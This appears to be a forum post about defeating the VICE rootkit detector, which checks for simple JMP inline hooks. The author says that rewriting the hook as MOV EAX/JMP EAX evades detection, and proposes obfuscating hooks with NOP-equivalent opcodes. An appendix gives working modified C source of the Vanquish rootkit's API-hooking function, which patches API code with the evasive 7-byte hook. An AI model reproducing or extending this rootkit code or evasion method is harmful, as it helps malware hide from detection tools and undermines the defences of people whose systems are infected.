Rookit detectors like VICE successfully detect inline function hooks,
for example by the vanquish rootkit. It seems they check for a simple
JUMP instruction in the begining(i am not sure) of the hooked function,
this can be easily bypassed;for example i change the vanquish rootkit's
API replacing funtion(Vanquish_ReplaceAPI) a bit by replacing the inline
hook code from simple JMP <ADDRESS> to

MOV EAX,ADDRESS
JUMP EAX

and run VICE, it is unable to detect the presence of the vanquish rootkit.

It is possible to make inline hook detection quite harder by randomizing
the inline hook code, for example by sandwitching jumps in NOP equivalent
opcodes,like inc eax,dec eax,clc,stc; using lea instead of mov etc.
I am working to add this feature to my HookHelper library, i will present
it as soon as it is ready. Suggestions are welcome and most required.

APPENDIX

1. Vanquish rootkit 'Vanquish_ReplaceAPI' function to bypass VICE

BOOL Vanquish_ReplaceAPI(LPVOID lpOld, LPVOID lpNew, LPBYTE savbuf, LPBYTE hooker, DWORD dwInitial)
{
#undef JMP_SIZE
#define JMP_SIZE 7

BOOL bSuccess = FALSE;

DWORD dwOldProtect, dwNewProtect;
DWORD dwAddress;

//some checks: here we use direct return, not goto cleanup!
if (!lpOld) return FALSE;
if (!lpNew) return FALSE;
if (!savbuf) return FALSE;
if (!hooker) return FALSE;

EnterCriticalSection(&csVanquish);
//modify api access rights
dwNewProtect = PAGE_EXECUTE_READWRITE;
dwOldProtect = dwNewProtect;
if (!VirtualProtect(lpOld, JMP_SIZE, dwNewProtect, &dwOldProtect)) goto cleanup;

if (dwInitial)
{
//save overwritten instructions
if (IsBadReadPtr(lpOld, JMP_SIZE)) goto cleanup;
if (IsBadWritePtr(savbuf, JMP_SIZE)) goto cleanup;
VRTCopyMemory(savbuf, lpOld, JMP_SIZE);
dwAddress=(DWORD)lpNew;

hooker[0]=(BYTE) 0xB8; /*MOV EAX,0xAABBCCDD*/
hooker[1]=(BYTE)( dwAddress & 0xFF); /*DD*/
hooker[2]=(BYTE)((dwAddress >> 8) & 0xFF); /*CC*/
hooker[3]=(BYTE)((dwAddress >> 16) & 0xFF); /*BB*/
hooker[4]=(BYTE)((dwAddress >> 24) & 0xFF); /*AA*/
hooker[5]=(BYTE) 0xFF; /*JMP EAX*/
hooker[6]=(BYTE) 0xE0;

}

//write hooker
if (IsBadWritePtr(lpOld, JMP_SIZE)) goto cleanup;
VRTCopyMemory(lpOld, hooker, JMP_SIZE);

bSuccess = TRUE;

cleanup:

if (!bSuccess) VRTWriteLog(FALSE, 0, NULL, "Replace API failed!\r\n");

//restore api access rights
if (dwOldProtect != dwNewProtect) VirtualProtect(lpOld, JMP_SIZE, dwOldProtect,
&dwNewProtect);
LeaveCriticalSection(&csVanquish);

//update instruction cache for MP systems only!
FlushInstructionCache(GetCurrentProcess(), lpOld, JMP_SIZE);
return bSuccess;
}

2. NOP equivalent opcodes - http://www.snort.org.
3. Vanquish rootkit - http://www.rootkit.com.
4. VICE - catch the hookers, http://www.rootkit.com.